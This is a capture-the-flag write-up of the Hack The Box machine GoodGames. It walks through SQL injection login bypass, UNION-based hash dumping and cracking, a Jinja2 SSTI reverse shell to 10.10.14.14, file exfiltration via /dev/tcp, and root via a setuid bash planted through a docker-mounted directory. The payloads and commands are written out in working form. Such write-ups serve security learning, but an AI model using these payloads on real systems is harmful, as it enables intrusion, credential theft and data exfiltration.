GoodGames Writeup
28 October 2022 #CTF #HTB #box #easy #linuxEnumeration
OI MATE, just nmap
the box yes?
$ sudo nmap -p- -T4 -oN enum/fulltcp.nmap 10.10.11.130
[...]
80/tcp open http
[...]
$ ports=$(awk -F/ '/^[[:digit:]]{1,5}\// {printf "%s,", $1}' enum/fulltcp.nmap)
$ sudo nmap -p $ports -sCV -oN enum/scripts-tcp.nmap 10.10.11.130
[...]
80/tcp open http Apache httpd 2.4.51
|_http-server-header: Werkzeug/2.0.2 Python/3.9.2
|_http-title: GoodGames | Community and Store
[...]
HTTP
Only HTTP is open on this box, leaving us no choice but to look into this website:
Clicking on 'Store' we get this page:
But email subscription does basically nothing.
Same thing with the 'Blog' page:
The search does nothing.
We can create an account:
Once logged in, we can view our profile:
User Enumeration
There is a 'forgot-password' page as well:
But it doesn't leak if the email is valid or not:
We can try to create an other account to check if an email already exists:
Nice, we know that 'admin@goodgames.htb' is a valid account.
SQLi
Let's dig a bit more into the login functionality.
Here is a login request in Burp:
We used our creds so the login is successful and we get a session cookie.
If we use a basic SQli payload (quote + comment) we still get the cookie:
This confirms we have a SQLi vulnerability here.
We know the admin email so we can login as admin:
But we have to go through Burp to bypass the check on the email field:
We can copy the cookie in our browser to access the admin session:
UNION Injection
We can bypass the login but let's see if we can use a UNION injection. First, let's use the GROUP BY technique to get the number of columns we should have in our UNION SELECT:
With GROUP BY 5
we don't get the cookie, which means there are 4 columns in this query.
Only the last column is reflected in the page:
We can begin enumerating the DB, starting with the differents databases:
'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',schema_name)) FROM information_schema.schemata-- -
GROUP_CONCAT
will merge all rows into one (useful when the output only shows 1 line or row) and we separate each result by a new line with CONCAT('\n',...)
Now let's see what tables and columns are in this 'main' database:
'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',table_name,':',column_name)) FROM information_schema.columns WHERE table_schema='main'-- -
The 'user' table sounds interesting. Let's take a look at it:
'UNION SELECT null,null,null,GROUP_CONCAT(CONCAT('\n',email,':',password)) FROM user-- -
Perfect, we get what looks like a md5 hash so let's try to crack it:
$ echo '2b22337f218b2d82dfc3b6f77e7cb8ec' > hash.txt
$ hashcat -m 0 hash.txt /usr/share/wordlists/rockyou.txt
[...]
2b22337f218b2d82dfc3b6f77e7cb8ec:superadministrator
[...]
internal-administration.goodgames.htb
On the admin profile page there is a new button at the top that directs us to a new page but first we need to add it to our host file:
$ echo '10.10.11.130 goodgames.htb internal-administration.goodgames.htb' | sudo tee -a /etc/hosts
Maybe the admin reused their password for this dashboard:
And yes they did!
Foothold
After looking a bit around the website we find a SSTI in the settings:
Since the website is using python it is most likely using the Jinja2 templating engine.
We can get a reverse shell with this payload:
{{ namespace.__init__.__globals__.os.popen('bash -c "bash -i >& /dev/tcp/10.10.14.14/4242 0>&1"').read() }}
Privesc
Escaping Docker
We are root which is a bit weird but looking a bit closer we are in a docker container:
root@3a453ab39d3d:/backend# ls -Al /
total 80
-rwxr-xr-x 1 root root 0 Nov 5 2021 .dockerenv
drwxr-xr-x 1 root root 4096 Nov 5 2021 backend
drwxr-xr-x 1 root root 4096 Nov 5 2021 bin
[...]
.dockerenv
confirms this + the typical docker hostname.
We can start by looking in the web app directory:
root@3a453ab39d3d:/backend# cd project
root@3a453ab39d3d:/backend/project# cat .env
DEBUG=True
SECRET_KEY=S3cr3t_K#Key
DB_ENGINE=postgresql
DB_NAME=appseed-flask
DB_HOST=localhost
DB_PORT=5432
DB_USERNAME=appseed
DB_PASS=pass
There are creds for a postgresql database but if we look at the listening ports we don't see it:
root@3a453ab39d3d:/backend/project# ss -lntp
State Recv-Q Send-Q Local Address:Port Peer Address:Port
LISTEN 0 128 *:8085 *:* users:(("python3",pid=1,fd=3))
LISTEN 0 128 127.0.0.11:42041 *:*
There a db.sqlite3
in project/apps
. The sqlite3
command isn't available on the docker container so we will transfer it to our box:
On our box setup nc
:
$ nc -lvnp 1337 > db.sqlite3
And on the docker container:
root@3a453ab39d3d:/backend/project/apps# cat db.sqlite3 > /dev/tcp/10.10.14.14/1337
We can now view this sqlite3 db:
$ sqlite3 db.sqlite3
sqlite> .header on
sqlite> .mode columns
sqlite> .tables
Users
sqlite> select * from Users;
id name username email password
-- ------------------------------------------------------------ -------- ------------------- ------------------------------------------------------------
1 {{''.__class__.__mro__[1].__subclasses__()[217]('bash -c "ba admin admin@goodgames.htb 48ff5020f2678e9f6eb11c323505b480d9c4fd35c4d24461e69f48bf3819
sh -i >& /dev/tcp/10.10.14.14/4242 0>&1"',shell=True)}} b36a0ad2fd83b39af41c51e8eee13441fb14bb36b6034b75f05ac2d9c1db
125c4e49877737ad8adacfdacedca68f47353cb8435a1575c8b0fa7a816e
81ae6af65977
Not all that interesting since we already know the admin password.
There is a directory in /home
:
root@3a453ab39d3d:/home# ls -l /home
total 4
drwxr-xr-x 3 1000 1000 4096 Oct 28 20:47 augustus
'augustus' isn't however in our /etc/passwd
(neither is UID 1000):
root@3a453ab39d3d:/home/augustus# grep augustus /etc/passwd
root@3a453ab39d3d:/home/augustus# grep 1000 /etc/passwd
root@3a453ab39d3d:/home/augustus# ls -lA
total 16
lrwxrwxrwx 1 root root 9 Nov 3 2021 .bash_history -> /dev/null
-rw-r--r-- 1 1000 1000 220 Oct 19 2021 .bash_logout
-rw-r--r-- 1 1000 1000 3526 Oct 19 2021 .bashrc
-rw-r--r-- 1 1000 1000 807 Oct 19 2021 .profile
-rw-r----- 1 root 1000 33 Oct 28 13:45 user.txt
It looks like the home directory of this user has been mounted on the container.
Since we have a username now we can try to ssh to the host:
root@3a453ab39d3d:/backend# ssh augustus@172.19.0.1
[...]
augustus@GoodGames:~$ id
uid=1000(augustus) gid=1000(augustus) groups=1000(augustus)
Password is 'superadministrator'.
Abuse Docker Mount
We can take advantage of the fact that there is a directory on the host filesystem mounted on the container + we are root inside this container + we have access to the host (as a low privilege user).
This means we can copy a file as the low privilege user in the shared folder and modify the permissions inside the container as root.
Firstly, copy bash
to our home directory (on the host):
augustus@GoodGames:~$ cp $(which bash) .
Then, inside the container, change the owner of the file to root and set the setuid bit:
root@3a453ab39d3d:/home/augustus# chown root:root bash
root@3a453ab39d3d:/home/augustus# chmod 4755 bash
Now we can execute our custom setuid bash
on the host to get root:
augustus@GoodGames:~$ ./bash -p
bash-5.1# id
uid=1000(augustus) gid=1000(augustus) euid=0(root) groups=1000(augustus)
We need the -p
flag to preserve the privileges when we execute bash
.
Key Takeaways
- Always test UNION injection (even on login)
- use
{{namespace.__init__.__globals__.os.popen('id').read()}}
for Jinja2 SSTI from now on (thanks 0xdf) - Abuse mounted directories when root inside container + access to host